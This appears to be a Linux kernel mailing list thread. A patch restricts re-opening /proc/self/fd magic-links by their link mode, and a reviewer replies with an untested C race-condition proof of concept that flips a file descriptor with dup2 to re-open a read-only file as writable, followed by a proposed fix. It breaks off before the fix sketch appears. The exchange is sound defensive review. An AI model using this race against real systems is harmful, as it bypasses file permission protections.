The ability for userspace to "re-open" file descriptors through
/proc/self/fd has been a very useful tool for all sorts of usecases
(container runtimes are one common example). However, the current
interface for doing this has resulted in some pretty subtle security
holes. Userspace can re-open a file descriptor with more permissions
than the original, which can result in cases such as /proc/$pid/exe
being re-opened O_RDWR at a later date even though (by definition)
/proc/$pid/exe cannot be opened for writing. When combined with O_PATH
the results can get even more confusing.

Instead we have to restrict it in such a way that it doesn't break
(good) users but does block potential attackers. The solution applied in
this patch is to restrict *re-opening* (not resolution through)
magic-links by requiring that mode of the link be obeyed. Normal
symlinks have modes of a+rwx but magic-links have other modes. These
magic-link modes were historically ignored during path resolution, but
they've now been re-purposed for more useful ends.
Thanks for dealing with this issue!

This looks racy because entries in the file descriptor table can be
switched out as long as task->files->file_lock isn't held. Unless I'm
missing something, something like the following (untested) would
bypass this restriction:
int readonly_fd = ...; /* some read-only fd we want to reopen as writable */
int writable_fd = open("/dev/null", O_RDWR);
int flippy_fd = dup(writable_fd);
char flippy_fd_path[100];
sprintf(flippy_fd_path, "/proc/%d/fd/%d", getpid(), flippy_fd);
if (fork() == 0) {
while (1) {
int reopened_fd = open(flippy_fd_path, O_RDWR);
if (reopened_fd == -1) continue;
char reopened_fd_path[100];
sprintf(reopened_fd_path, "/proc/self/fd/%d", reopened_fd);
char reopened_fd_target[1000];
int target_len = readlink(reopened_fd_path, reopened_fd_target,
sizeof(reopened_fd_target)-1);
reopened_fd_target[target_len] = 0;
if (strcmp(reopened_fd_target, "/dev/null"))
printf("managed to reopen as writable\n");
close(reopened_fd);
}
} else {
while (1) {
dup2(readonly_fd, flippy_fd);
dup2(writable_fd, flippy_fd);
}
}
Perhaps you could change nd_jump_link() to "void nd_jump_link(struct
path *path, umode_t link_mode)", and let proc_pid_get_link() pass the
link_mode through from an out-argument of .proc_get_link()? Then
proc_fd_link() could grab the proper mode in a race-free manner. And
nd_jump_link() could stash the mode in the nameidata.
A sketch of how I imagine that:
